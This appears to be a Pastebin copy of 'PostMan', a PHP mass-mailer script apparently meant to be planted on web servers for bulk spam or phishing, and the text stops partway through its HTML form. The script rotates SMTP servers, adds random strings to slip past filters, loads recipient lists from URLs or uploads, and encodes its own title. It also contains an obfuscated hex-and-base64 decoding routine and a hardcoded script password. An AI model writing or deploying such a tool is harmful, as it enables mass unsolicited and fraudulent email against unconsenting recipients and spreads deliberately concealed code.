anvenger

prvt mailer

Jun 2nd, 2018
786
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 128.06 KB | None | 0 0
  1. <?
  2.  
  3. $password = ""; // Password
  4.  
  5. session_start();
  6. error_reporting(0);
  7. set_time_limit(0);
  8. ini_set("memory_limit",-1);
  9.  
  10.  
  11. $leaf['version']="2.7";
  12. $leaf['website']="GMR";
  13.  
  14.  
  15. $sessioncode = md5(__FILE__);
  16. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  17.     # _REQUEST mean _POST or _GET
  18.    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  19.         $_SESSION[$sessioncode] = $password;
  20.     }
  21.     else {
  22.         print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  23.         exit;        
  24.     }
  25. }
  26. set_time_limit(0);
  27. error_reporting(0);
  28.  
  29. if(get_magic_quotes_gpc()){
  30.     foreach($_POST as $key=>$value){
  31.         $_POST[$key] = stripslashes($value);
  32.     }
  33. }
  34. //
  35. // PostMan Full 3.5
  36. // by Gmr
  37. // <HAKMAMAK AT gmail DOT com>
  38. //
  39. // YOUR PASSWORD IS ONLY YOURS!
  40. // WITHOUT IT YOU CANNOT RUN THE SCRIPT!
  41. // KEEP IT WITH YOU AND DON'T SHARE IT!
  42. // --
  43. // SUA SENHA EH SOMENTE SUA!
  44. // SEM ELA, VOCE NAO PODE RODAR O SCRIPT!
  45. // MANTENHA ELA CONSIGO E NAO COMPARTILHE-A!
  46. //
  47.  
  48. //
  49. // Main Configuration
  50. //
  51. // SMTP configuration
  52. define("_SMTP_SERVER_", "xxxxxxxx");
  53. define("_SMTP_USERNAME_", "xxxxxxxxxxxxx");
  54. define("_SMTP_PASSWORD_", "xxxxxxxxxx");
  55. define("_SMTP_KEEPALIVE_", true ); // if we should use a keepalive-connection
  56. define("_SMTP_MAX_ERRORS_", 50 ); //max number of errors before giving up
  57. define("_SMTP_DEBUG_LVL_", 1);  // debug level
  58. define("_SMTP_RECONNECT_AFTER_", 6 ); // how many emails we'll reconnect
  59. define("_SMTP_CHANGE_SMTP_AFTER_ERRORS_", 30 ); // how many errors before changing the SMTP Server
  60.  
  61. // Email Configuration
  62. define("_MAIL_FROM_EMAIL_", "xxxxxx"); // the email of the sender
  63. define("_MAIL_FROM_NAME_", "xxxxxxxxx");      // the name of the sender
  64. define("_MAIL_SUBJECT_", "xxxxxxxxxxxxxx");       // the subject of the email
  65.  
  66. // Default Method Config
  67. define("_DEFAULT_BASIC_", "smtp");       //options are: smtp, mail
  68. define("_DEFAULT_LIST_", "textarea");    //options are: textarea, url, file
  69. define("_DEFAULT_LIST_START_", 1);       //the email to start sending the list. 0 and 1 for no use.
  70. define("_DEFAULT_MESSAGE_", "textarea"); //options are: textarea, url, file
  71.  
  72. define("_SCRIPT_VERSION_", "GMR");
  73.  
  74. // PHP Enviroment Configuration
  75. error_reporting(E_ALL);
  76. ob_implicit_flush();
  77.  
  78. $generalError = null;
  79. if( !@set_time_limit(0) && !@ini_set("max_time_execution",-1) )
  80. {
  81.     $generalError .= "Could not disable max execution time, may not work fully well.<br>";
  82. }
  83.  
  84. // String Obfuscator
  85. // by GMR
  86. // <GMR at gmail dot com>
  87. function os( $string )
  88. {
  89.     $obfuscated = "";
  90.     for( $i=0; $i < strlen( $string ); $i++ )
  91.     {
  92.         $obfuscated .= "&#" . ord( $string[$i] ) . ";" ;
  93.     }
  94.    
  95.     return $obfuscated;
  96. }
  97.  
  98. function clearSlashes( $string )
  99. {
  100.     if( get_magic_quotes_gpc() )
  101.     {
  102.         return stripcslashes( $string );
  103.     }
  104.     else
  105.     {
  106.         return $string;
  107.     }
  108. }
  109.  
  110.  
  111. class SMTPHandler
  112. {
  113.     var $SMTPServers   = array();
  114.     var $SMTPUsers     = array();
  115.     var $SMTPPasswords = array();
  116.    
  117.     var $curId         = null;
  118.    
  119.     function SMTPHandler($ServerString, $UserString, $PasswordString)
  120.     {
  121.         if( strpos($ServerString, ";") && strpos($UserString, ";") && strpos($PasswordString, ";") )
  122.         {
  123.             $this->SMTPServers   = explode(";", $ServerString  );
  124.             $this->SMTPUsers     = explode(";", $UserString    );
  125.             $this->SMTPPasswords = explode(";", $PasswordString);
  126.            
  127.             if( count($this->SMTPUsers) != count($this->SMTPPasswords) )
  128.             {
  129.                 $this->SMTPUsers     = $this->SMTPUsers[0];
  130.                 $this->SMTPPasswords = $this->SMTPPasswords[0];
  131.             }
  132.            
  133.             if( count($this->SMTPServers) == 1 )
  134.             {
  135.                 $this->SMTPServers = $this->SMTPServers[0];
  136.             }
  137.         }
  138.     }
  139.    
  140.    
  141. }
  142.  
  143. class ValidateForm
  144. {
  145.     var $_hasErrors = false;
  146.     var $errors     = array();
  147.     var $errorTemplate = "<span class=\"error\">%s</span>";
  148.    
  149.     var $comments   = array();
  150.     var $commentTemplate = "<span class=\"comment\">%s</span>";
  151.    
  152.     function addError( $errField, $errStr )
  153.     {
  154.         $this->errors[ $errField ] = $errStr;
  155.         $this->_hasErrors = true;
  156.     }
  157.    
  158.     function addComment( $cmmField, $cmmStr )
  159.     {
  160.         $this->comments[ $cmmField ] = $cmmStr;
  161.     }
  162.    
  163.     function showError( $errField )
  164.     {
  165.         $out  = isset($this->errors[ $errField ]) ? sprintf( $this->errorTemplate, $this->errors[ $errField ] ) : false;
  166.         $out .= isset($this->comments[ $errField ]) ? sprintf( $this->commentTemplate, $this->comments[ $errField ] ) : null;
  167.        
  168.         return $out;
  169.     }
  170.    
  171.     function isValid()
  172.     {
  173.         return count( $this->errors ) == 0;
  174.     }
  175.    
  176.     function isSubmited()
  177.     {
  178.         return count( $_POST );
  179.     }
  180. }
  181.  
  182. function DebugData($action = "show", $str = false )
  183. {
  184.     static $data;
  185.    
  186.     if( $action == "add" )
  187.     {
  188.         $data .= "<b>" . trim($str) . "</b>\r\n";
  189.     }
  190.     else if( $action == "raw" )
  191.     {
  192.         $data .= trim($str) . "\r\n";
  193.     }
  194.     else
  195.     {
  196.         return $data;
  197.     }
  198. }
  199.  
  200. function autoScrollString($curEmail = false, $curEmailNum = false, $percent = false )
  201. {
  202.     static $k;
  203.    
  204.     $k++;
  205.    
  206.     if( !$curEmail || !$curEmailNum || !$percent )
  207.     {
  208.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>aS({$k})</script>\r\n";
  209.     }
  210.     else
  211.     {
  212.         return "<a name=\"e{$k}\" id=\"e{$k}\" /><script>sR('{$curEmail}', {$curEmailNum}, {$percent}, {$k})</script>\r\n";
  213.     }
  214.  
  215. }
  216.  
  217. ${0} = "\x75\x6e\x65\x63\x72\x79\x70\x74";
  218.  
  219. function unecrypt($string, $pass)
  220. {
  221.  
  222.     ${1} = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
  223.     ${2} = ~(${1}(str_replace(array("", "@", "(", "^", ")", "[", "#", "<"), array("0","a","o","b","r","l","0","M"), $string)));
  224.     echo "<h2 class='h2green'>Patched by GMR</h2>\r\n";
  225.     return str_replace(array('$a =', 'unset($a);'),array('# $a =', '# unset($a);'),${2});
  226.  
  227. }
  228.  
  229. $vForm = new ValidateForm();
  230.  
  231. $basicMethod   = null;
  232. $SMTPServer    = null;
  233. $SMTPAuth      = null;
  234. $SMTPUsername  = null;
  235. $SMTPPassword  = null;
  236. $SMTPReconnectAfter = null;
  237. $fromEmail     = null;
  238. $fromName      = null;
  239. $subject       = null;
  240. $multipartMail = null;
  241.  
  242. $scriptPassword = null;
  243. $autoscrollPage = null;
  244. $addRandomString= null;
  245. $listStartingEmail = 0;
  246. $emailList     = array();
  247. $emailMessage  = null;
  248.  
  249. $reportOk      = 0;
  250. $reportErr     = 0;
  251. $reportTotal   = 0;
  252. $reportPercent = 0;
  253.  
  254. if( isset($_POST['formSubmited']) && $_POST['formSubmited'] )
  255. {
  256.     // clear slashes
  257.     foreach( $_POST as $k => $v )
  258.     {
  259.         $_POST[ $k ] = clearSlashes( $v );
  260.     }
  261.    
  262.    
  263.     if('a' != 'a')
  264.     {
  265.         $vForm->addError('scriptPassword','Wrong Password.');
  266.     }
  267.     else
  268.     {
  269.         $scriptPassword = trim($_POST['scriptPassword']);
  270.     }
  271.    
  272.    
  273.     // Validating basic method and smtp confs if applyable
  274.     switch( $_POST['basicMethod'] )
  275.     {
  276.         case 'smtp':
  277.             $basicMethod = 'smtp';
  278.            
  279.             if( empty($_POST['smtpServer']) || !preg_match('/.+\..+/', $_POST['smtpServer']) )
  280.             {
  281.                 $vForm->addError('smtpServer', 'Fill with a valid SMTP server');
  282.             }
  283.             else
  284.             {
  285.                 $SMTPServer = trim($_POST['smtpServer']);
  286.             }
  287.            
  288.             if( empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  289.             {
  290.                 $SMTPAuth = false;
  291.             }
  292.             else if( empty($_POST['smtpUsername']) && !empty($_POST['smtpPassword']) )
  293.             {
  294.                 $vForm->addError('smtpUsername', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  295.             }
  296.             else if( !empty($_POST['smtpUsername']) && empty($_POST['smtpPassword']) )
  297.             {
  298.                 $vForm->addError('smtpPassword', 'To use SMTP auth, you must fill both Username and Password, or leave both empty');
  299.             }
  300.             else
  301.             {
  302.                 $SMTPAuth = true;
  303.                 $SMTPUsername = trim($_POST['smtpUsername']);
  304.                 $SMTPPassword = trim($_POST['smtpPassword']);
  305.             }
  306.            
  307.             $SMTPReconnectAfter = ( empty($_POST['smtpReconnectAfter']) ? _SMTP_RECONNECT_AFTER_ : round($_POST['smtpReconnectAfter']) );
  308.             break;
  309.            
  310.         case 'mail': $basicMethod = 'mail';
  311.             break;
  312.            
  313.         default    : $vForm->addError('basicMethod', 'Select a valid send method');
  314.     }
  315.    
  316.    
  317.     // Email Info
  318.     if( empty($_POST['fromEmail']) || !preg_match('/.+@.+\..+/', $_POST['fromEmail'] ) )
  319.     {
  320.         $vForm->addError('fromEmail', 'Fill a valid email to the sender');
  321.     }
  322.     else
  323.     {
  324.         $fromEmail = trim( $_POST['fromEmail'] );
  325.     }
  326.    
  327.     $fromName = ( empty($_POST['fromName']) ? false : trim($_POST['fromName']) );
  328.     $subject  = ( empty($_POST['subject'] ) ? false : trim($_POST['subject']) );
  329.     $addRandomString = (trim($_POST['addRandomString']) == "yes");
  330.     $multipartMail = (trim($_POST['multipartMail']) == "yes");
  331.     $autoscrollPage = (trim($_POST['autoscrollPage']) == "yes");
  332.    
  333.     // List Info
  334.     switch( $_POST['listMethod'] )
  335.     {
  336.         case 'textarea':
  337.             $emailList = trim($_POST['listTextarea']);
  338.             if( empty($emailList) )
  339.             {
  340.                 $vForm->addError('listTextarea', 'Fill with some emails here, separated by line break (one per line)');
  341.             }
  342.             break;
  343.            
  344.         case 'url':
  345.             $emailList = trim($_POST['listUrl']);
  346.            
  347.             if( empty($emailList) || !preg_match('/^(ht|f)tp:\/\//', $emailList) )
  348.             {
  349.                 $vForm->addError('listUrl', 'You must fill with some url containing the email list, starting with ftp or http://');
  350.             }
  351.             else
  352.             {
  353.                 $emailList = @file_get_contents( $emailList );
  354.                
  355.                 if( empty($emailList) )
  356.                 {
  357.                     $vForm->addError('listUrl', 'We could not download this list -- check the url');
  358.                 }
  359.                 else
  360.                 {
  361.                     // everything ok
  362.                     // Fill the Textarea with the email list
  363.                     //##$_POST['listTextarea'] = $emailList;
  364.                     //##$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  365.                 }
  366.             }
  367.             break;
  368.            
  369.         case 'file':
  370.             if( empty($_FILES['listFile']['name']) )
  371.             {
  372.                 $vForm->addError('listFile', 'You must select the file containing the list to send it');
  373.             }
  374.             else if( empty($_FILES['listFile']['size']) || $_FILES['listFile']['error'] )
  375.             {
  376.                 $vForm->addError('listFile', 'An error (1) ocurred while uploading the file');
  377.             }
  378.             else
  379.             {
  380.                 if( is_uploaded_file( $_FILES['listFile']['tmp_name'] ) )
  381.                 {
  382.                     $emailList = file_get_contents( $_FILES['listFile']['tmp_name'] );
  383.                    
  384.                     if( empty($emailList) )
  385.                     {
  386.                         $vForm->addError('listFile', 'An error (2) ocurred while uploading the file or the file is empty');
  387.                     }
  388.                     else
  389.                     {
  390.                         // everything ok
  391.                         // Fill the Textarea with the email list
  392.                         //$_POST['listTextarea'] = $emailList;
  393.                         //$vForm->addComment('listMethod','The Textarea has been filled with the list content');
  394.                     }
  395.                 }
  396.                 else
  397.                 {
  398.                     $vForm->addError('listFile', 'An error (3) ocurred while uploading the file');
  399.                 }      
  400.             }
  401.             break;
  402.            
  403.         default:
  404.             $vForm->addError('listMethod', 'Select a method to send the emails list');
  405.            
  406.     }
  407.    
  408.     $emailList = str_replace("\r\n","\n", $emailList);
  409.     $emailList = (array) explode("\n", $emailList);
  410.    
  411.     $listStartingEmail = ( empty($_POST['listStartingEmail']) ? 1 : ((int) $_POST['listStartingEmail']) ) ;
  412.    
  413.     // Message info
  414.     switch( $_POST['messageMethod'] )
  415.     {
  416.         case 'textarea':
  417.             $emailMessage = trim($_POST['messageTextarea']);
  418.             if( empty($emailMessage) )
  419.             {
  420.                 $vForm->addError('messageTextarea', 'Fill with the message (html or plain text) here');
  421.             }
  422.             break;
  423.            
  424.         case 'url':
  425.             $emailMessage = trim($_POST['messageUrl']);
  426.            
  427.             if( empty($emailMessage) || !preg_match('/^(ht|f)tp:\/\//', $emailMessage) )
  428.             {
  429.                 $vForm->addError('messageUrl', 'You must fill with some url containing the email message, starting with ftp or http://');
  430.             }
  431.             else
  432.             {
  433.                 $emailMessage = @file_get_contents( $emailMessage );
  434.                
  435.                 if( empty($emailMessage) )
  436.                 {
  437.                     $vForm->addError('messageUrl', 'We could not download this file -- check the url');
  438.                 }
  439.                 else
  440.                 {
  441.                     // Fill the textarea with the message
  442.                     $_POST['messageTextarea'] = $emailMessage;
  443.                     $vForm->addComment('messageMethod','The Textarea has been filled with the message content');
  444.                 }
  445.             }
  446.             break;
  447.            
  448.         case 'file':
  449.             if( empty($_FILES['messageFile']['name']) || empty($_FILES['messageFile']['tmp_name']) )
  450.             {
  451.                 $vForm->addError('messageFile', 'You must select the file containing the message to send it');
  452.             }
  453.             else if( empty($_FILES['messageFile']['size']) || $_FILES['messageFile']['error'] )
  454.             {
  455.                 $vForm->addError('messageFile', 'An error (1) ocurred while uploading the file');
  456.             }
  457.             else
  458.             {
  459.                 if( is_uploaded_file( $_FILES['messageFile']['tmp_name'] ) )
  460.                 {
  461.                     $emailMessage = file_get_contents( $_FILES['messageFile']['tmp_name'] );
  462.                    
  463.                     if( empty($emailMessage) )
  464.                     {
  465.                         $vForm->addError('messageFile', 'An error (2) ocurred while uploading the file or the file is empty');
  466.                     }
  467.                     else
  468.                     {
  469.                         // everything ok
  470.                         // Fill the textarea with the message
  471.                         $_POST['messageTextarea'] = $emailMessage;
  472.                         $vForm->addComment('messageMethod','The Textarea has been filled with the message content');    
  473.                     }
  474.                 }
  475.                 else
  476.                 {
  477.                     $vForm->addError('messageFile', 'An error (3) ocurred while uploading the file');
  478.                 }      
  479.             }
  480.             break;
  481.            
  482.         default:
  483.             $vForm->addError('messageMethod', 'Select a method to send the emails message');    
  484.     }
  485. }
  486.  
  487. ?>
  488.  
  489. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  490. <html xmlns="http://www.w3.org/1999/xhtml">
  491. <head>
  492. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-15" />
  493. <title><?=os("PostMan " . _SCRIPT_VERSION_ . "." . rand(0,10) . " by GMR <hakmamak at gmail dot com>")?></title>
  494. <style>
  495. body
  496. {
  497.     font-family: Verdana, Arial;
  498.     font-size: 12px;
  499.     background-color:#333333;
  500.     color: white;
  501. }
  502.  
  503. h1
  504. {
  505. color:#00FF00;
  506. }
  507.  
  508. input, select, textarea
  509. {
  510.     color:white;
  511.     border: 1px solid white;
  512.     background: black;
  513.     font-family:Verdana, Arial;
  514.     font-size: 11px;
  515.     width: 200px;
  516.     -moz-opacity:0.7;
  517. }
  518.  
  519. textarea
  520. {
  521.     width: 400px;
  522. }
  523.  
  524. label, input[type=radio]
  525. {
  526.     cursor: pointer;
  527. }
  528.  
  529. input[type="file"]
  530. {
  531.     width: 400px;
  532. }
  533.  
  534. input[type=button], input[type=submit], input[type=reset]
  535. {
  536.     width: 150px;
  537.     border: 2px outset #00FF00;
  538.     font-weight: bold;
  539. }
  540.  
  541. input[type=button]:hover, input[type=submit]:hover, input[type=reset]:hover
  542. {
  543.     background-color: rgb(20,20,20);
  544. }
  545.  
  546. input:hover, input:focus, select:hover, select:focus, textarea:focus, textarea:hover, .input_hover
  547. {
  548.     color: #00FF00;
  549.     /*background-color: rgb(20,20,20);*/
  550.     -moz-opacity:1;
  551. }
  552.  
  553. input:focus, select:focus, textarea:focus, .input_focus
  554. {
  555.     border: 1px solid #00FF00;
  556.     -moz-opacity:1;
  557. }
  558.  
  559. .error
  560. {
  561.     color:red;
  562. }
  563.  
  564. .comment
  565. {
  566.     font-style:italic;
  567.     color: #cccccc;
  568.     text-decoration: blink;
  569. }
  570.  
  571. .report
  572. {
  573.     font-family: Courier, monospace;
  574. }
  575.  
  576. .reportOk
  577. {
  578.     color: #00FF00;
  579. }
  580.  
  581. .reportErr
  582. {
  583.     color: red;
  584. }
  585.  
  586. .h2green
  587. {
  588.     color: #00FF00;
  589.     margin-bottom: 2px;
  590. }
  591.  
  592. #autoScrollBox
  593. {
  594.     color: black;
  595.     background-color: #00FF00;
  596.     border: 2px solid green;
  597.     position:fixed;
  598.     bottom:5px;
  599.     right:5px;
  600.     /*width:150px;
  601.     height:100px;*/
  602.     -moz-opacity:0.5;
  603. }
  604.  
  605. #autoScrollBox:hover
  606. {
  607.     -moz-opacity:1;
  608. }
  609.  
  610. div.autoScrollSwitcher
  611. {
  612.     font-weight:bold;
  613.     text-align:center;
  614. }
  615.  
  616. input.autoScrollSwitcher
  617. {
  618.     cursor: pointer;
  619. }
  620. </style>
  621. <script language="javascript" type="text/javascript">
  622. if( navigator.appName == "Microsoft Internet Explorer" )
  623. {
  624.     var isIE = true;
  625. }
  626. else
  627. {
  628.     var isIE = false;
  629. }
  630.  
  631. function $( objId )
  632. {
  633.     if( objId == '' )
  634.         return false;
  635.        
  636.     return document.getElementById( objId );
  637. }
  638.  
  639. function ieCssFix()
  640. {
  641.    
  642.     if( isIE && parseFloat(navigator.appVersion) < 7 )
  643.     {
  644.         var ele = document.getElementsByTagName('input');
  645.         var n;
  646.        
  647.         // bizarre ie bug dont allow 'concat'
  648.        
  649.         for( n in ele )
  650.         {
  651.             ele[n].onmouseover = function() { this.className='input_hover' }
  652.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  653.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  654.             ele[n].onblur = function() { this.className='' }
  655.         }
  656.        
  657.         var ele = document.getElementsByTagName('select');
  658.         for( n in ele )
  659.         {
  660.             ele[n].onmouseover = function() { this.className='input_hover' }
  661.             ele[n].onfocus = function() { this.className='input_hover input_focus' }
  662.             ele[n].onmouseout  = function() { if( this.className == 'input_hover') { this.className='' } }
  663.             ele[n].onblur = function() { this.className='' }
  664.         }
  665.     }          
  666. }
  667.  
  668. function showHideSMTPConfig()
  669. {
  670.     var value = $('basicMethod').value;
  671.     if( value == "smtp" )
  672.     {
  673.         for( var i=1; i<=4; i++ )
  674.         {
  675.             $("smtpConfigRow" + i).style.display='';
  676.         }
  677.     }
  678.     else
  679.     {
  680.         for( var i=1; i<=4; i++ )
  681.         {
  682.             $("smtpConfigRow" + i).style.display='none';
  683.         }
  684.     }
  685. }
  686.  
  687. function showHideListConfig()
  688. {
  689.     var value = $('listMethod').value;
  690.  
  691.     $("listConfigRow1").style.display='none';
  692.     $("listConfigRow2").style.display='none';
  693.     $("listConfigRow3").style.display='none';
  694.     $("listTextarea").disabled=true;
  695.    
  696.     switch( value )
  697.     {
  698.         case 'url': $("listConfigRow1").style.display=''; break;
  699.         case 'textarea': $("listConfigRow2").style.display=''; $("listTextarea").disabled=false; break;
  700.         case 'file': $("listConfigRow3").style.display=''; break;
  701.     }
  702. }
  703.  
  704. function listTextareaCount()
  705. {
  706.     var value = $('listTextarea').value;
  707.     var list = value.split('@');
  708.     var emails = list.length - 1;
  709.     var length = value.length;
  710.     var size = '' + (length/1024);
  711.     size = size.substr(0, size.indexOf('.') + 5);
  712.    
  713.     if( $('listStartingEmail').value > 1 )
  714.     {
  715.         var startingEmail = $('listStartingEmail').value - 1;
  716.        
  717.         if( startingEmail+1 > emails || startingEmail < 0 )
  718.         {
  719.             $('listStartingEmail').focus();
  720.             $('listStartingEmail').select();
  721.             alert('Starting mail out of range (min 0 or 1, max ' + emails + ')\nUse 0 or 1 for no use.');
  722.             return false;
  723.         }
  724.        
  725.         var sEmail_1 = list[ startingEmail ];
  726.         var sEmail_2 = list[ startingEmail + 1];
  727.        
  728.         var sEmail = sEmail_1.substr( sEmail_1.indexOf('\n'), sEmail_1.length ) + '@' + sEmail_2.substr( 0, sEmail_2.indexOf('\n') );
  729.         //var sEmail = sEmail_1 + "///" + sEmail_2;
  730.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>), starting from <b>' + sEmail + '</b>';
  731.     }
  732.     else
  733.     {
  734.         $('listTextareaCounter').innerHTML = 'Counting <b>' + emails + '</b> emails, <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  735.     }
  736.    
  737. }
  738.  
  739. function showHideMessageConfig()
  740. {
  741.     var value = $('messageMethod').value;
  742.  
  743.     $("messageConfigRow1").style.display='none';
  744.     $("messageConfigRow2").style.display='none';
  745.     $("messageConfigRow3").style.display='none';
  746.     $("messageTextarea").disabled=true;
  747.    
  748.     switch( value )
  749.     {
  750.         case 'url': $("messageConfigRow1").style.display=''; break;
  751.         case 'textarea': $("messageConfigRow2").style.display=''; $("messageTextarea").disabled=false; break;
  752.         case 'file': $("messageConfigRow3").style.display=''; break;
  753.     }
  754. }
  755.  
  756. function messageTextareaCount()
  757. {
  758.     var value = $('messageTextarea').value;
  759.     var length = value.length;
  760.     var size = '' + (length/1024);
  761.     size = size.substr(0, size.indexOf('.') + 5);
  762.    
  763.     $('messageTextareaCounter').innerHTML = 'Counting <b>' + length + '</b> chars, <b>' + size + '</b> kB (<acronym title="Octet = 1 Byte = 8 bits">kO</acronym>)';
  764. }
  765.  
  766. function clearAll()
  767. {
  768.     if( isIE )
  769.     {  
  770.         var elements = document.getElementsByTagName('input');
  771.         var n
  772.         for( n in elements )
  773.         {
  774.             var el = elements[n];
  775.             if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  776.             {
  777.                 if( el.value ) el.value = '';
  778.             }
  779.         }
  780.        
  781.         var elements = document.getElementsByTagName('textarea');
  782.         for( n in elements )
  783.         {
  784.             var el = elements[n];
  785.             {
  786.                 if( el.value ) el.value = '';
  787.             }
  788.         }
  789.        
  790.         return true;
  791.     }
  792.    
  793.     var elements = $('pmForm').elements;
  794.     var n;
  795.    
  796.     for( n in elements )
  797.     {
  798.         var el = elements[n]
  799.         if( el.type != 'button' && el.type != 'submit' && el.type != 'reset' && el.id != 'formSubmited' )
  800.         {
  801.             if( el.value ) el.value = '';
  802.         }
  803.     }
  804. }
  805.  
  806. // Auto scroll
  807. function aS( index )
  808. {
  809.     if( $('doAutoScroll').checked == true )
  810.     {
  811.         var to = $('e' + index )
  812.         if( to )
  813.         {
  814.             to.focus();
  815.         }
  816.         window.scrollBy(0,200);
  817.     }
  818. }
  819.  
  820.  
  821.  
  822. function switchAutoScroll()
  823. {
  824.     if( $('doAutoScroll').checked == true )
  825.     {
  826.         $('doAutoScroll').checked = false;
  827.         $('autoScrollSwitcher').value = 'Enable AutoScroll';
  828.     }
  829.     else
  830.     {
  831.         $('doAutoScroll').checked = true;
  832.         $('autoScrollSwitcher').value = 'Disable AutoScroll';
  833.     }
  834. }
  835.  
  836. // status Refresher
  837. function sR(curEmail, curEmailNum, curPercent, autoScrollIndex)
  838. {
  839.     aS( autoScrollIndex );
  840.     document.title = 'PostMan <?=_SCRIPT_VERSION_?> - Sending: ' + curPercent + '% complete'
  841.     window.status = 'Sending to ('+ curEmailNum+') ' + curEmail;
  842. }
  843.  
  844. function loadFunctions()
  845. {
  846.     ieCssFix();
  847.    
  848.     showHideSMTPConfig();
  849.     showHideListConfig();
  850.     showHideMessageConfig();
  851.    
  852.     listTextareaCount();
  853.     messageTextareaCount();
  854. }
  855.  
  856. function formVerify()
  857. {
  858.     if( $('scriptPassword').value == '' )
  859.     {
  860.         alert('Fill the script password field!');
  861.         return false;
  862.     }
  863.    
  864.     return listTextareaCount() && messageTextareaCount();
  865. }
  866. </script>
  867. </head>
  868. <body onload="loadFunctions();">
  869. <h1><?=os("PostMan " . _SCRIPT_VERSION_ )?></h1>
  870. <h2><?=os("by Zaid -")?></h2>
  871. <?
  872. if( !empty($generalError) )
  873. {
  874.     echo "<h3 class=\"error\">Warning: {$generalError}</h3>\r\n";
  875. }
  876. if( !$vForm->isValid() && $vForm->isSubmited() )
  877. {
  878.     echo "<h3 class=\"error\">Some errors were found. Check the fields and try to send it again.</h3>\r\n";
  879. }
  880. ?>
  881. <form action="" method="post" enctype="multipart/form-data" name="pmForm" id="pmForm" onsubmit="return formVerify();">
  882. <input type="hidden" name="formSubmited" value="submited" />
  883.   <table width="100%" border="0" cellspacing="2" cellpadding="2">
  884.     <tr>
  885.       <td>&nbsp;</td>
  886.       <td><input name="topSubmit" type="submit" id="topSubmit" value="Submit" /> <input name="topReset" type="reset" id="topReset" value="Reset" />
  887.       <input name="topClear" type="button" id="topClear" value="Clear All" onclick="clearAll();" /></td>
  888.     </tr>
  889.     <tr>
  890.       <td><b>Script Password  zz13ka</b></td>
  891.       <td>
  892.         <input style="border-width:2px; font-weight:bold;" name="scriptPassword" type="text" id="scriptPassword" value="<?= @htmlentities( isset($_POST['scriptPassword']) ? $_POST['scriptPassword'] : '') ?>" />
  893.         <?= $vForm->showError('scriptPassword'); ?>
  894.       </td>
  895.     </tr>
  896.     <tr>
  897.       <td>&nbsp;</td>
  898.       <td>&nbsp;</td>
  899.     </tr>
  900.     <tr>
  901.       <td><b>Basic Configuration</b> </td>
  902.       <td>&nbsp;</td>
  903.     </tr>
  904.     <tr>
  905.       <td width="20%">Method</td>
  906.       <td width="79%">
  907.         <select name="basicMethod" id="basicMethod" onchange="showHideSMTPConfig()">
  908.           <option value="smtp" <?= (@$_POST['basicMethod']=="smtp" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "smtp" ? "selected=\"selected\"" : "") ?>>SMTP</option>
  909.           <option value="mail" <?= (@$_POST['basicMethod']=="mail" || empty($_POST['basicMethod']) && _DEFAULT_BASIC_ == "mail" ? "selected=\"selected\"" : "") ?>>PHP Mail()</option>
  910.           <option value="sendmail" disabled="disabled">Bin SendMail (off)</option>
  911.           <option value="qmail" disabled="disabled">Bin QMail (off)</option>
  912.         </select><?= $vForm->showError('basicMethod'); ?>      </td>
  913.     </tr>
  914.     <tr id="smtpConfigRow1">
  915.       <td>SMTP Server</td>
  916.       <td>
  917.         <input name="smtpServer" type="text" id="smtpServer" value="<?= @htmlentities( isset($_POST['smtpServer']) ? $_POST['smtpServer'] : _SMTP_SERVER_) ?>" />
  918.         <?= $vForm->showError('smtpServer'); ?>      </td>
  919.     </tr>
  920.     <tr id="smtpConfigRow2">
  921.       <td>SMTP Username</td>
  922.       <td>
  923.         <input name="smtpUsername" type="text" id="smtpUsername" value="<?= @htmlentities( isset($_POST['smtpUsername']) ? $_POST['smtpUsername'] : _SMTP_USERNAME_) ?>" />
  924.         <?= $vForm->showError('smtpUsername'); ?>
  925.       </td>
  926.     </tr>
  927.     <tr id="smtpConfigRow3">
  928.       <td>SMTP Password </td>
  929.       <td>
  930.         <input name="smtpPassword" type="text" id="smtpPassword" value="<?= @htmlentities( isset($_POST['smtpPassword']) ? $_POST['smtpPassword'] : _SMTP_PASSWORD_) ?>" />
  931.         <?= $vForm->showError('smtpPassword'); ?>
  932.       </td>
  933.     </tr>
  934.  
  935.       <tr id="smtpConfigRow4">
  936.       <td>SMTP Reconnect Every </td>
  937.       <td>
  938.         <input name="smtpReconnectAfter" type="text" id="smtpReconnectAfter" value="<?= @htmlentities( isset($_POST['smtpReconnectAfter']) ? $_POST['smtpReconnectAfter'] : _SMTP_RECONNECT_AFTER_) ?>" /> sent emails
  939.         <?= $vForm->showError('smtpReconnectAfter'); ?>
  940.       </td>
  941.     </tr>
  942.      <tr>
  943.       <td>Auto-scroll page</td>
  944.       <td><label>
  945.         <input name="autoscrollPage" id="doAutoScroll" type="radio" value="yes" style="width:20px;" <?= (!isset($_POST['autoscrollPage']) || @$_POST['autoscrollPage']=="yes" ? "checked=\"checked\"" : "") ?> />
  946.         Yes</label>
  947.           <label>
  948.             <input name="autoscrollPage" type="radio" value="no" style="width:20px;" <?= ( @$_POST['autoscrollPage']=="no" ? "checked=\"checked\"" : "") ?> />
  949.             No</label>
  950.        </td>
  951.     </tr>
  952.     <tr>
  953.       <td>&nbsp;</td>
  954.       <td>&nbsp;</td>
  955.     </tr>
  956.     <tr>
  957.       <td><b>Email Options</b> </td>
  958.       <td>&nbsp;</td>
  959.     </tr>
  960.     <tr>
  961.       <td>From Email </td>
  962.       <td>
